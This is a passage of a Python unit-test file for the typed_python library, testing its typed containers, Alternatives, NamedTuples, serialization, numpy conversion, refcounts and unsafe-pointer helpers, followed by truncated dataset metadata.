ConstDict(int, int)\n\n t0 = time.time()\n for i in range(100000):\n t({k: k+1 for k in range(10)})\n\n elapsed = time.time() - t0\n print(\"Took \", elapsed, \" to do 1mm\")\n self.check_expected_performance(elapsed)\n\n def test_const_dict_iter_int(self):\n t = ConstDict(int, int)\n\n aDict = t({k: k+1 for k in range(100)})\n for k in aDict:\n self.assertEqual(aDict[k], k+1)\n\n def test_const_dict_iter_str(self):\n t = ConstDict(str, str)\n\n aDict = t({str(k): str(k+1) for k in range(100)})\n for k in aDict:\n self.assertEqual(aDict[str(k)], str(int(k)+1))\n\n def test_alternative_bytecounts(self):\n alt = Alternative(\n \"Empty\",\n X={},\n Y={}\n )\n\n self.assertEqual(_types.bytecount(alt), 1)\n self.assertEqual(_types.bytecount(alt.X), 1)\n self.assertEqual(_types.bytecount(alt.Y), 1)\n\n def test_alternatives_with_Bytes(self):\n alt = Alternative(\n \"Alt\",\n x_0={'a': bytes}\n )\n self.assertEqual(alt.x_0(a=b''), alt.x_0(a=b''))\n\n def test_alternatives_with_str_func(self):\n alt = Alternative(\n \"Alt\",\n x_0={'a': bytes},\n f=lambda self: 1,\n __str__=lambda self: \"not_your_usual_str\"\n )\n\n self.assertEqual(alt.x_0().f(), 1)\n self.assertEqual(str(alt.x_0()), \"not_your_usual_str\")\n\n def test_named_tuple_subclass_magic_methods(self):\n class X(NamedTuple(x=int, y=int)):\n def __str__(self):\n return \"str override\"\n\n def __repr__(self):\n return \"repr override\"\n\n def __call__(self):\n return \"call implemented\"\n\n self.assertEqual(repr(X()), \"repr override\")\n self.assertEqual(str(X()), \"str override\")\n self.assertEqual(X()(), \"call implemented\")\n\n def test_empty_alternatives(self):\n a = Alternative(\n \"Alt\",\n A={},\n B={}\n )\n\n self.assertEqual(a.A(), a.A())\n self.assertIsInstance(deserialize(a, serialize(a, a.A())), a.A)\n self.assertEqual(a.A(), deserialize(a, serialize(a, a.A())))\n\n self.assertEqual(a.B(), a.B())\n self.assertNotEqual(a.A(), a.B())\n self.assertNotEqual(a.B(), a.A())\n\n def test_extracted_alternatives_have_correct_type(self):\n Alt = Alternative(\n \"Alt\",\n A={},\n B={}\n )\n tOfAlt = TupleOf(Alt)\n\n a = Alt.A()\n aTup = tOfAlt((a,))\n\n self.assertEqual(a, aTup[0])\n self.assertTrue(type(a) is type(aTup[0])) # noqa: F721\n\n def test_alternatives(self):\n alt = Alternative(\n \"Alt\",\n child_ints={'x': int, 'y': int},\n child_strings={'x': str, 'y': str}\n )\n\n self.assertTrue(issubclass(alt.child_ints, alt))\n self.assertTrue(issubclass(alt.child_strings, alt))\n\n a = alt.child_ints(x=10, y=20)\n a2 = alt.child_ints(x=10, y=20)\n\n self.assertEqual(a, a2)\n\n self.assertTrue(isinstance(a, alt))\n self.assertTrue(isinstance(a, alt.child_ints))\n\n self.assertEqual(a.x, 10)\n self.assertEqual(a.y, 20)\n self.assertTrue(a.matches.child_ints)\n self.assertFalse(a.matches.child_strings)\n\n with self.assertRaisesRegex(AttributeError, \"immutable\"):\n a.x = 20\n\n def test_alternatives_comparison(self):\n empty = Alternative(\"X\", A={}, B={})\n\n self.assertEqual(empty.A(), empty.A())\n self.assertEqual(empty.B(), empty.B())\n self.assertNotEqual(empty.A(), empty.B())\n\n a = Alternative(\n \"X\",\n A={'a': int},\n B={'b': int},\n C={'c': str},\n D={'d': bytes},\n )\n\n self.assertEqual(a.A(a=10), a.A(a=10))\n self.assertNotEqual(a.A(a=10), a.A(a=11))\n\n self.assertNotEqual(a.C(c=\"\"), a.C(c=\"hi\"))\n self.assertFalse(a.C(c=\"\") == a.C(c=\"hi\"))\n self.assertNotEqual(a.D(d=b\"\"), a.D(d=b\"hi\"))\n\n def test_alternatives_add_operator(self):\n alt = Alternative(\n \"Alt\",\n child_ints={'x': int, 'y': int},\n __add__=lambda lhs, rhs: (lhs, rhs)\n )\n\n a = alt.child_ints(x=0, y=2)\n\n self.assertEqual(a+a, (a, a))\n\n def test_alternatives_perf(self):\n alt = Alternative(\n \"Alt\",\n child_ints={'x': int, 'y': int},\n child_strings={'x': str, 'y': str}\n )\n\n t0 = time.time()\n\n for i in range(1000000):\n a = alt.child_ints(x=10, y=20)\n a.matches.child_ints\n a.x\n\n elapsed = time.time() - t0\n print(\"Took \", elapsed, \" to do 1mm\")\n self.check_expected_performance(elapsed, expected=2.0)\n\n def test_object_hashing_and_equality(self):\n for _ in range(100):\n producer = RandomValueProducer()\n producer.addEvenly(20, 2)\n\n values = producer.all()\n\n for v1 in values:\n for v2 in values:\n if hash(v1) != hash(v2) and v1 == v2:\n print(v1, v2, type(v1), type(v2))\n\n for v1 in values:\n for v2 in values:\n if type(v1) == type(v2) and v1 == v2:\n self.assertEqual(hash(v1), hash(v2), (v1, v2))\n if type(v1) is type(v2):\n self.assertEqual(repr(v1), repr(v2), (v1, v2, type(v1), type(v2)))\n\n values = sorted([makeTuple(v) for v in values])\n\n for i in range(len(values)-1):\n self.assertTrue(values[i] <= values[i+1])\n self.assertTrue(values[i+1] >= values[i])\n\n def test_bytes_repr(self):\n for _ in range(100000):\n # always start with a '\"' because otherwise python keeps chosing different\n # initial characters.\n someBytes = b'\"' + numpy.random.uniform(size=2).tostring()\n self.assertEqual(repr(makeTuple(someBytes)), repr((someBytes,)))\n\n def test_equality_with_native_python_objects(self):\n tups = [(1, 2, 3), (), (\"2\",), (b\"2\",), (1, 2, 3, \"b\"), (2,), (None,)]\n\n for tup1 in tups:\n self.assertEqual( makeTuple(*tup1), tup1 )\n\n for tup2 in tups:\n if tup1 != tup2:\n self.assertNotEqual( makeTuple(*tup1), tup2 )\n\n for tup1 in tups:\n self.assertEqual( makeTupleOf(*tup1), tup1 )\n\n for tup2 in tups:\n if tup1 != tup2:\n self.assertNotEqual( makeTupleOf(*tup1), tup2 )\n\n def test_add_tuple_of(self):\n tupleOfInt = TupleOf(int)\n\n tups = [(), (1, 2), (1,), (1, 2, 3, 4)]\n\n for tup1 in tups:\n for tup2 in tups:\n self.assertEqual(tupleOfInt(tup1) + tupleOfInt(tup2), tupleOfInt(tup1+tup2))\n self.assertEqual(tupleOfInt(tup1) + tup2, tupleOfInt(tup1+tup2))\n\n def test_slice_tuple_of(self):\n tupleOfInt = TupleOf(int)\n\n ints = tuple(range(20))\n aTuple = tupleOfInt(ints)\n\n for i in range(-21, 21):\n for i2 in range(-21, 21):\n for step in range(-3, 3):\n if step != 0:\n self.assertEqual(aTuple[i:i2:step], ints[i:i2:step])\n\n try:\n ints[i]\n self.assertEqual(aTuple[i], ints[i])\n except IndexError:\n with self.assertRaises(IndexError):\n aTuple[i]\n\n def test_dictionary_subtraction_basic(self):\n intDict = ConstDict(int, int)\n\n self.assertEqual(intDict({1: 2}) - (1,), intDict({}))\n self.assertEqual(intDict({1: 2, 3: 4}) - (1,), intDict({3: 4}))\n self.assertEqual(intDict({1: 2, 3: 4}) - (3,), intDict({1: 2}))\n\n def test_dictionary_addition_and_subtraction(self):\n someDicts = [{i: choice([1, 2, 3, 4, 5]) for i in range(choice([4, 6, 10, 20]))} for _ in range(20)]\n intDict = ConstDict(int, int)\n\n for d1 in someDicts:\n for d2 in someDicts:\n addResult = dict(d1)\n addResult.update(d2)\n\n self.assertEqual(intDict(d1) + intDict(d2), intDict(addResult))\n\n res = intDict(addResult)\n\n while len(res):\n toRemove = []\n\n for i in range(choice(list(range(len(res))))+1):\n key = choice(list(addResult))\n del addResult[key]\n toRemove.append(key)\n\n res = res - toRemove\n\n self.assertEqual(res, intDict(addResult))\n\n def test_subclassing(self):\n BaseTuple = NamedTuple(x=int, y=float)\n\n class NTSubclass(BaseTuple):\n def f(self):\n return self.x + self.y\n\n def __repr__(self):\n return \"ASDF\"\n\n inst = NTSubclass(x=10, y=20)\n\n self.assertTrue(isinstance(inst, BaseTuple))\n self.assertTrue(isinstance(inst, NTSubclass))\n self.assertTrue(type(inst) is NTSubclass)\n\n self.assertEqual(repr(inst), \"ASDF\")\n self.assertNotEqual(BaseTuple.__repr__(inst), \"ASDF\")\n\n self.assertEqual(inst.x, 10)\n self.assertEqual(inst.f(), 30)\n\n TupleOfSubclass = TupleOf(NTSubclass)\n\n instTup = TupleOfSubclass((inst, BaseTuple(x=20, y=20.0)))\n\n self.assertTrue(isinstance(instTup[0], NTSubclass))\n self.assertTrue(isinstance(instTup[1], NTSubclass))\n self.assertEqual(instTup[0].f(), 30)\n self.assertEqual(instTup[1].f(), 40)\n\n self.assertEqual(BaseTuple(inst).x, 10)\n\n self.assertTrue(OneOf(None, NTSubclass)(None) is None)\n self.assertTrue(OneOf(None, NTSubclass)(inst) == inst)\n\n def test_serialization_primitives(self):\n def checkCanSerialize(x):\n self.assertEqual(x, deserialize(type(x), serialize(type(x), x)), x)\n\n checkCanSerialize(0)\n checkCanSerialize(1)\n checkCanSerialize(2)\n checkCanSerialize(4)\n checkCanSerialize(8)\n checkCanSerialize(16)\n checkCanSerialize(32)\n checkCanSerialize(64)\n checkCanSerialize(128)\n checkCanSerialize(-1)\n checkCanSerialize(290)\n checkCanSerialize(1000)\n checkCanSerialize(99.5)\n checkCanSerialize(\"hi\")\n checkCanSerialize(b\"bye\")\n checkCanSerialize(None)\n checkCanSerialize(True)\n checkCanSerialize(False)\n\n def test_serialization_bytecounts(self):\n ints = TupleOf(int)((1, 2, 3, 4))\n\n def varintBytecount(value):\n \"\"\"the length (in bytes) of a varint\"\"\"\n res = 1\n while value >= 128:\n res += 1\n value /= 128\n return res\n\n while len(ints) < 1000000:\n ints = ints + ints\n t0 = time.time()\n\n expectedBytecount = (\n sum(varintBytecount(0) + varintBytecount(i) for i in ints) +\n (varintBytecount(0) * 3) + varintBytecount(len(ints))\n )\n\n self.assertEqual(len(serialize(TupleOf(int), ints)), expectedBytecount)\n\n print(time.time() - t0, \" for \", len(ints))\n\n def test_serialization_roundtrip(self):\n for _ in range(100):\n producer = RandomValueProducer()\n producer.addEvenly(30, 3)\n\n values = producer.all()\n for v in values:\n ser = serialize(type(v), v)\n\n v2 = deserialize(type(v), ser)\n\n ser2 = serialize(type(v), v2)\n\n self.assertTrue(type(v2) is type(v))\n self.assertEqual(ser, ser2)\n self.assertEqual(str(v), str(v2))\n self.assertEqual(v, v2, (v, v2, type(v), type(v2), type(v) is type(v2)))\n\n def test_create_invalid_tuple(self):\n with self.assertRaises(TypeError):\n Tuple((int, int))\n\n def test_roundtrip_tuple(self):\n T = Tuple(str, bool, str)\n v = T(('1', False, ''))\n\n v2 = deserialize(T, serialize(T, v))\n\n self.assertEqual(v, v2)\n\n def test_roundtrip_alternative(self):\n A = Alternative(\"A\", a0=dict(x_0=None))\n T = NamedTuple(x0=A, x1=bool)\n\n v = T(x0=A.a0(), x1=True)\n\n v2 = deserialize(T, serialize(T, v))\n\n self.assertEqual(v, v2)\n\n def test_serialize_doesnt_leak(self):\n T = TupleOf(int)\n\n def getMem():\n return psutil.Process().memory_info().rss / 1024 ** 2\n\n m0 = getMem()\n\n for passIx in range(100):\n for i in range(1000):\n t = T(list(range(i)))\n deserialize(T, serialize(T, t))\n\n self.assertTrue(getMem() < m0 + 100)\n\n def test_const_dict_of_tuple(self):\n K = NamedTuple(a=OneOf(float, int), b=OneOf(float, int))\n someKs = [K(a=0, b=0), K(a=1), K(a=10), K(b=10), K()]\n\n T = ConstDict(K, K)\n\n indexDict = {}\n x = T()\n\n numpy.random.seed(42)\n\n for _ in range(100):\n i1 = numpy.random.choice(len(someKs))\n i2 = numpy.random.choice(len(someKs))\n add = numpy.random.choice([False, True])\n\n if add:\n indexDict[i1] = i2\n x = x + {someKs[i1]: someKs[i2]}\n else:\n if i1 in indexDict:\n del indexDict[i1]\n x = x - (someKs[i1],)\n\n self.assertEqual(x, T({someKs[i]: someKs[v] for i, v in indexDict.items()}))\n for k in x:\n self.assertTrue(k in x)\n x[k]\n\n def test_conversion_of_binary_compatible(self):\n class T1(NamedTuple(a=int)):\n pass\n\n class T2(NamedTuple(a=int)):\n pass\n\n class T1Comp(NamedTuple(d=ConstDict(str, T1))):\n pass\n\n class T2Comp(NamedTuple(d=ConstDict(str, T1))):\n pass\n\n self.assertTrue(_types.isBinaryCompatible(T1Comp, T2Comp))\n self.assertTrue(_types.isBinaryCompatible(T1, T2))\n\n def test_binary_compatible_nested(self):\n def make():\n class Interior(NamedTuple(a=int)):\n pass\n\n class Exterior(NamedTuple(a=Interior)):\n pass\n\n return Exterior\n\n E1 = make()\n E2 = make()\n\n self.assertTrue(_types.isBinaryCompatible(E1, E2))\n\n def test_python_objects_in_tuples(self):\n class NormalPyClass(object):\n pass\n\n class NormalPySubclass(NormalPyClass):\n pass\n\n NT = NamedTuple(x=NormalPyClass, y=NormalPySubclass)\n\n nt = NT(x=NormalPyClass(), y=NormalPySubclass())\n self.assertIsInstance(nt.x, NormalPyClass)\n self.assertIsInstance(nt.y, NormalPySubclass)\n\n def test_construct_alternatives_with_positional_arguments(self):\n a = Alternative(\"A\", HasOne={'a': str}, HasTwo={'a': str, 'b': str})\n\n with self.assertRaises(TypeError):\n a.HasTwo(\"hi\")\n\n self.assertEqual(a.HasOne(\"hi\"), a.HasOne(a=\"hi\"))\n\n hasOne = a.HasOne(\"hi\")\n self.assertEqual(a.HasOne(hasOne), hasOne)\n\n with self.assertRaises(TypeError):\n a.HasOne(a.HasTwo(a='1', b='b'))\n\n def test_recursive_classes_repr(self):\n A0 = Forward(\"A0\")\n\n class ASelfRecursiveClass(Class):\n x = Member(OneOf(None, A0))\n\n A0 = A0.define(ASelfRecursiveClass)\n\n a = ASelfRecursiveClass()\n a.x = a\n\n b = ASelfRecursiveClass()\n b.x = b\n\n print(repr(a))\n\n def test_unsafe_pointers_to_list_internals(self):\n x = ListOf(int)()\n x.resize(100)\n for i in range(len(x)):\n x[i] = i\n\n aPointer = x.pointerUnsafe(0)\n self.assertTrue(str(aPointer).startswith(\"(Int64*)0x\"))\n\n self.assertEqual(aPointer.get(), x[0])\n aPointer.set(100)\n self.assertEqual(aPointer.get(), 100)\n self.assertEqual(x[0], 100)\n\n aPointer = aPointer + 10\n\n self.assertEqual(aPointer.get(), x[10])\n self.assertEqual(aPointer[10], x[20])\n aPointer.set(20)\n self.assertEqual(aPointer.get(), 20)\n self.assertEqual(x[10], 20)\n\n # this is OK because ints are POD.\n aPointer.initialize(30)\n self.assertEqual(x[10], 30)\n\n def test_unsafe_pointers_to_uninitialized_list_items(self):\n # because this is testing unsafe operations, the test is\n # really just that we don't segfault!\n for _ in range(100):\n x = ListOf(TupleOf(int))()\n x.reserve(10)\n\n for i in range(x.reserved()):\n x.pointerUnsafe(i).initialize((i,))\n\n x.setSizeUnsafe(10)\n\n # now check that if we fail to set the size we'll leak the tuple\n aLeakedTuple = TupleOf(int)((1, 2, 3))\n x = ListOf(TupleOf(int))()\n x.reserve(1)\n x.pointerUnsafe(0).initialize(aLeakedTuple)\n x = None\n\n self.assertEqual(_types.refcount(aLeakedTuple), 2)\n\n def test_list_extend(self):\n LI = ListOf(int)\n LF = ListOf(float)\n\n li = LI([1, 2, 3])\n lf = LF([1.5, 2.5, 3.5])\n\n li.extend(li)\n self.assertEqual(li, [1, 2, 3, 1, 2, 3])\n\n lf.extend(lf)\n self.assertEqual(lf, [1.5, 2.5, 3.5, 1.5, 2.5, 3.5])\n\n lf.extend(li)\n self.assertEqual(lf, [1.5, 2.5, 3.5, 1.5, 2.5, 3.5, 1, 2, 3, 1, 2, 3])\n\n li = LI()\n li.extend(range(10))\n\n self.assertEqual(li, list(range(10)))\n\n def test_list_copy_operation_duplicates_list(self):\n T = ListOf(int)\n\n x = T([1, 2, 3])\n y = T(x)\n\n x[0] = 100\n\n self.assertNotEqual(y[0], 100)\n\n def test_list_and_tuple_conversion_to_numpy(self):\n for T in [ListOf(bool), TupleOf(bool)]:\n for arr in [\n numpy.array([]),\n numpy.array([0, 1, 2, 3, 4, 5]),\n numpy.array([0, 1, 2, 3, 4, 5], 'int32'),\n numpy.array([0, 1, 2, 3, 4, 5], 'int16'),\n numpy.array([0, 1, 2, 3, 4, 5], 'bool')\n ]:\n self.assertEqual(T(arr), T(arr.tolist()))\n self.assertEqual(T(arr).toArray().tolist(), [bool(x) for x in arr.tolist()])\n\n for T in [ListOf(int), TupleOf(int)]:\n for arr in [\n numpy.array([]),\n numpy.array([1, 2, 3, 4, 5]),\n numpy.array([1, 2, 3, 4, 5], 'int32'),\n numpy.array([1, 2, 3, 4, 5], 'int16')\n ]:\n self.assertEqual(T(arr), T(arr.tolist()))\n self.assertEqual(T(arr).toArray().tolist(), arr.tolist())\n\n for T in [ListOf(float), TupleOf(float)]:\n for arr in [\n numpy.array([]),\n numpy.array([1, 2, 3, 4, 5], 'float64'),\n numpy.array([1, 2, 3, 4, 5], 'float32')\n ]:\n self.assertEqual(T(arr), T(arr.tolist()))\n self.assertEqual(T(arr).toArray().tolist(), arr.tolist())\n\n self.assertEqual(str(ListOf(Int64)([1, 2, 3, 4]).toArray().dtype), 'int64')\n self.assertEqual(str(ListOf(Int32)([1, 2, 3, 4]).toArray().dtype), 'int32')\n self.assertEqual(str(ListOf(Int16)([1, 2, 3, 4]).toArray().dtype), 'int16')\n self.assertEqual(str(ListOf(Int8)([1, 2, 3, 4]).toArray().dtype), 'int8')\n\n self.assertEqual(str(ListOf(UInt64)([1, 2, 3, 4]).toArray().dtype), 'uint64')\n self.assertEqual(str(ListOf(UInt32)([1, 2, 3, 4]).toArray().dtype), 'uint32')\n self.assertEqual(str(ListOf(UInt16)([1, 2, 3, 4]).toArray().dtype), 'uint16')\n self.assertEqual(str(ListOf(UInt8)([1, 2, 3, 4]).toArray().dtype), 'uint8')\n\n self.assertEqual(str(ListOf(Float64)([1, 2, 3, 4]).toArray().dtype), 'float64')\n self.assertEqual(str(ListOf(Float32)([1, 2, 3, 4]).toArray().dtype), 'float32')\n\n def test_list_of_equality(self):\n x = ListOf(int)([1, 2, 3, 4])\n y = ListOf(int)([1, 2, 3, 5])\n\n self.assertEqual(x, x)\n self.assertNotEqual(x, y)\n\n def test_tuple_r_add(self):\n self.assertEqual(\n (1, 2, 4, 5, 6) + TupleOf(int)([1, 2]),\n (1, 2, 4, 5, 6, 1, 2)\n )\n\n self.assertEqual(\n [1, 2, 4, 5, 6] + TupleOf(int)([1, 2]),\n (1, 2, 4, 5, 6, 1, 2)\n )\n\n with self.assertRaises(TypeError):\n [1, 2, \"hi\", 5, 6] + TupleOf(int)([1, 2])\n\n def test_tuple_r_cmp(self):\n self.assertEqual(\n (1, 2, 3), TupleOf(int)([1, 2, 3])\n )\n\n def test_can_convert_numpy_scalars(self):\n self.assertEqual(OneOf(int, float)(numpy.int64(10)), 10)\n self.assertEqual(OneOf(int, float)(numpy.float64(10.5)), 10.5)\n\n def test_other_bitness_types(self):\n # verify we can cast around non-64-bit values in a way that matches numpy\n typeAndNumpyType = [\n (Bool, numpy.bool),\n (Int8, numpy.int8),\n (Int16, numpy.int16),\n (Int32, numpy.int32),\n (Int64, numpy.int64),\n (UInt8, numpy.uint8),\n (UInt16, numpy.uint16),\n (UInt32, numpy.uint32),\n (UInt64, numpy.uint64),\n (Float32, numpy.float32),\n (Float64, numpy.float64)\n ]\n\n for ourType, numpyType in typeAndNumpyType:\n for candValue in [-1, 0, 1, 10, 100, 1000, 100000, 10000000, 10000000000]:\n self.assertEqual(int(ourType(candValue)), int(numpyType(candValue)), (ourType, candValue))\n self.assertEqual(float(ourType(candValue)), float(numpyType(candValue)), (ourType, candValue))\n\n for ourType2, numpyType2 in typeAndNumpyType:\n zeroOrTwoFloatTypes = sum([1 if 'float' in str(t) else 0 for t in [numpyType, numpyType2]]) in [0, 2]\n\n if zeroOrTwoFloatTypes:\n for candValue in [-1, 0, 1, 10, 100, 1000, 100000, 10000000, 10000000000]:\n self.assertEqual(\n int(ourType(ourType2(candValue))),\n int(numpyType(numpyType2(candValue))),\n (ourType, ourType2, candValue)\n )\n self.assertEqual(\n float(ourType(ourType2(candValue))),\n float(numpyType(numpyType2(candValue))),\n (ourType, ourType2, candValue)\n )\n else:\n # we convert from float to int as c++, which is different than numpy, which clips\n # floats in a bizarre way. e.g.\n # numpy.int16(numpy.int64(numpy.float64(10000000000)))\n # is not\n # numpy.int16(numpy.float64(10000000000))\n pass\n\n def test_other_bitness_types_operators(self):\n\n def add(x, y):\n return x+y\n\n def div(x, y):\n return x/y\n\n def mul(x, y):\n return x*y\n\n def sub(x, y):\n return x-y\n\n def bitand(x, y):\n return x&y\n\n def bitor(x, y):\n return x|y\n\n def bitxor(x, y):\n return x^y\n\n otherTypes = [Bool, Int8, Int16, Int32, Int64, UInt8, UInt16, UInt32, UInt64, Float32, Float64]\n for t1 in otherTypes:\n for t2 in otherTypes:\n for op in [add, mul, div, sub, bitand, bitor, bitxor]:\n if not ((t1.IsFloat or t2.IsFloat) and op in (bitand, bitor, bitxor)):\n res = op(t1(10), t2(10))\n resType = type(res)\n resType = {bool: Bool, int: Int64, float: Float64}.get(resType, resType)\n\n if t1.IsFloat and t2.IsFloat:\n self.assertTrue(resType.IsFloat)\n self.assertEqual(resType.Bits, max(t1.Bits, t2.Bits))\n self.assertEqual(res, op(10, 10))\n elif t1.IsFloat or t2.IsFloat:\n self.assertTrue(resType.IsFloat)\n self.assertEqual(resType.Bits, t1.Bits if t1.IsFloat else t2.Bits)\n if t1.Bits > 1 and t2.Bits > 1:\n self.assertEqual(res, op(10, 10))\n elif t1 is Bool and t2 is Bool:\n self.assertEqual(resType, Bool if op in (bitor, bitand, bitxor) else Int64 if op is not div else Float64)\n else:\n self.assertEqual(resType.Bits, max(t1.Bits, t2.Bits))\n\n if op is not div:\n self.assertEqual(resType.IsSignedInt, t1.IsSignedInt or t2.IsSignedInt)\n\n if t1.Bits > 1 and t2.Bits > 1:\n self.assertEqual(res, op(10, 10))\n\n def test_comparing_arbitrary_objects(self):\n x = TupleOf(object)([\"a\"])\n y = TupleOf(object)([1])\n\n with self.assertRaises(TypeError):\n x < y\n\n self.assertEqual(x, x)\n self.assertEqual(y, y)\n self.assertNotEqual(x, y)\n\n def test_list_of_indexing_with_numpy_ints(self):\n x = ListOf(ListOf(int))([[1, 2, 3], [4, 5, 6]])\n self.assertEqual(x[numpy.int64(0)][numpy.int64(0)], 1)\n\n def test_dispatch_tries_without_conversion_first(self):\n class ClassWithForcedConversion(Class):\n def f(self, x: float):\n return \"float\"\n\n class ClassWithBoth(Class):\n def f(self, x: float):\n return \"float\"\n\n def f(self, x: int): # noqa: F811\n return \"int\"\n\n def f(self, x: bool): # noqa: F811\n return \"bool\"\n\n # swap the order\n class ClassWithBoth2(Class):\n def f(self, x: bool):\n return \"bool\"\n\n def f(self, x: int): # noqa: F811\n return \"int\"\n\n def f(self, x: float): # noqa: F811\n return \"float\"\n\n self.assertEqual(ClassWithForcedConversion().f(10), \"float\")\n self.assertEqual(ClassWithForcedConversion().f(10.5), \"float\")\n self.assertEqual(ClassWithForcedConversion().f(True), \"float\")\n\n self.assertEqual(ClassWithBoth().f(10), \"int\")\n self.assertEqual(ClassWithBoth().f(10.5), \"float\")\n self.assertEqual(ClassWithBoth().f(True), \"bool\")\n\n self.assertEqual(ClassWithBoth2().f(10), \"int\")\n self.assertEqual(ClassWithBoth2().f(10.5), \"float\")\n self.assertEqual(ClassWithBoth2().f(True), \"bool\")\n\n def test_error_message_on_bad_dispatch(self):\n @Function\n def f(x: int):\n return x\n\n with self.assertRaisesRegex(TypeError, \"str\"):\n f(\"hi\")\n\n with self.assertRaisesRegex(TypeError, \"argname=\"):\n f(argname=1)\n\n def test_named_tuple_comparison(self):\n N = NamedTuple(x=OneOf(None, int), y=OneOf(None, int))\n\n class S(N):\n pass\n\n self.assertEqual(N(x=1, y=2), N(x=1, y=2))\n self.assertNotEqual(N(x=1, y=2), N(x=1, y=3))\n self.assertFalse(N(x=1, y=2) == N(x=1, y=3))\n\n self.assertEqual(S(x=1, y=2), S(x=1, y=2))\n self.assertNotEqual(S(x=1, y=2), S(x=1, y=3))\n self.assertFalse(S(x=1, y=2) == S(x=1, y=3))\n\n def test_const_dict_comparison_more(self):\n N = NamedTuple(x=OneOf(None, int), y=OneOf(None, int))\n D = ConstDict(str, N)\n\n n1 = N(x=1, y=2)\n n2 = N(x=1, y=3)\n\n self.assertEqual(D({'a': n1}), D({'a': n1}))\n self.assertNotEqual(D({'a': n1}), D({'a': n2}))\n\n def test_mutable_dict(self):\n T = Dict(int, int)\n\n d = T()\n\n self.assertEqual(len(d), 0)\n\n with self.assertRaises(KeyError):\n d[0]\n\n d[0] = 10\n\n self.assertEqual(len(d), 1)\n self.assertEqual(d[0], 10)\n\n d[0] = 20\n\n self.assertEqual(len(d), 1)\n self.assertEqual(d[0], 20)\n\n for i in range(2000):\n d[i] = i\n\n if i % 100 == 0 and i:\n for x in range(len(d)):\n self.assertEqual(d[x], x)\n\n for i in range(2000):\n if i % 100 == 0 and i:\n for x in range(i):\n assert x not in d\n\n for x in range(i, 2000):\n self.assertEqual(d[x], x)\n\n del d[i]\n\n # verify that adding and removing elements doesn't leak memory\n usage = currentMemUsageMb()\n for i in range(1000000):\n d[0] = i\n del d[0]\n self.assertLess(currentMemUsageMb(), usage+1)\n\n def test_mutable_dict_fuzz(self):\n native_d = Dict(int, int)()\n py_d = {}\n\n for dictSize in [10, 100, 1000, 10000]:\n for i in range(100000):\n z = numpy.random.choice(dictSize)\n\n self.assertEqual(z in py_d, z in native_d)\n\n if i % 3 == 0 or (i % 1000) > 900:\n if z in py_d:\n del py_d[z]\n del native_d[z]\n else:\n py_d[z] = i\n native_d[z] = i\n\n for i in range(dictSize):\n self.assertEqual(z in py_d, z in native_d)\n\n def test_mutable_dict_refcounts(self):\n native_d = Dict(str, ListOf(int))()\n i = ListOf(int)()\n\n native_d[\"a\"] = i\n\n self.assertEqual(_types.refcount(i), 2)\n\n native_d[\"b\"] = i\n\n self.assertEqual(_types.refcount(i), 3)\n\n del native_d[\"a\"]\n\n self.assertEqual(_types.refcount(i), 2)\n\n native_d[\"b\"] = ListOf(int)()\n\n self.assertEqual(_types.refcount(i), 1)\n\n native_d[\"b\"] = i\n\n self.assertEqual(_types.refcount(i), 2)\n\n native_d = None\n\n self.assertEqual(_types.refcount(i), 1)\n\n def test_mutable_dict_create_many(self):\n for ct in range(100):\n d = Dict(int, int)()\n for i in range(ct):\n d[i] = i + 1\n\n def test_mutable_dict_methods(self):\n d = Dict(int, int)({i: i+1 for i in range(10)})\n\n self.assertEqual(list(d.keys()), list(range(10)))\n self.assertEqual(list(d.values()), list(range(1, 11)))\n self.assertEqual(list(d.items()), [(i, i+1) for i in range(10)])\n\n for i in range(10):\n self.assertEqual(d.get(i), i+1)\n self.assertEqual(d.get(i, None), i+1)\n\n self.assertEqual(d.get(1000), None)\n self.assertEqual(d.get(1000, 123), 123)\n\n with self.assertRaises(TypeError):\n self.assertEqual(d.get(\"1000\"), None)\n\n def test_mutable_dict_iteration_order(self):\n d = Dict(int, int)()\n\n d[10] = 10\n d[1] = 1\n d[2] = 2\n\n self.assertEqual(list(d), [10, 1, 2])\n del d[1]\n self.assertEqual(list(d), [10, 2])\n\n def test_simplicity(self):\n isSimple = _types.isSimple\n\n self.assertTrue(isSimple(int))\n self.assertTrue(isSimple(Int32()))\n self.assertTrue(isSimple(Int16()))\n self.assertTrue(isSimple(Int8()))\n self.assertTrue(isSimple(UInt64()))\n self.assertTrue(isSimple(UInt32()))\n self.assertTrue(isSimple(UInt16()))\n self.assertTrue(isSimple(UInt8()))\n self.assertTrue(isSimple(str))\n self.assertTrue(isSimple(bytes))\n self.assertTrue(isSimple(bool))\n self.assertTrue(isSimple(float))\n\n class C(Class):\n pass\n\n self.assertFalse(isSimple(C))\n\n self.assertTrue(isSimple(ListOf(int)))\n self.assertFalse(isSimple(ListOf(C)))\n\n self.assertTrue(isSimple(TupleOf(int)))\n self.assertFalse(isSimple(TupleOf(C)))\n\n self.assertTrue(isSimple(ConstDict(int, int)))\n self.assertFalse(isSimple(ConstDict(C, int)))\n self.assertFalse(isSimple(ConstDict(int, C)))\n\n self.assertTrue(isSimple(Dict(int, int)))\n self.assertFalse(isSimple(Dict(C, int)))\n self.assertFalse(isSimple(Dict(int, C)))\n\n self.assertFalse(isSimple(Alternative(\"Alternative\")))\n\n self.assertTrue(isSimple(NamedTuple(x=int)))\n self.assertFalse(isSimple(NamedTuple(x=C)))\n\n X = Forward(\"X\")\n X = X.define(Alternative(\"X\", X={'x': X}, Y={'i': int}))\n self.assertFalse(isSimple(X))\n self.assertFalse(isSimple(NamedTuple(x=X)))\n\n self.assertFalse(isSimple(OneOf(int, X)))\n self.assertTrue(isSimple(OneOf(int, float)))\n\n def test_oneof_picks_best_choice(self):\n T = OneOf(float, int, bool)\n\n self.assertIsInstance(T(1.5), float)\n self.assertIsInstance(T(1), int)\n self.assertIsInstance(T(True), bool)\n", "sub_path": "typed_python/types_test.py", "file_name": "types_test.py", "file_ext": "py", "file_size_in_byte": 59486, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "typed_python.OneOf", "line_number": 43, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 48, "usage_type": "call"}, {"api_name": "typed_python.TupleOf", "line_number": 49, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 54, "usage_type": "call"}, {"api_name": "typed_python.NamedTuple", "line_number": 55, "usage_type": "call"}, {"api_name": "typed_python.Tuple", "line_number": 60, "usage_type": "call"}, {"api_name": "typed_python.Tuple", "line_number": 61, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 66, "usage_type": "call"}, {"api_name": "typed_python.ConstDict", "line_number": 68, "usage_type": "call"}, 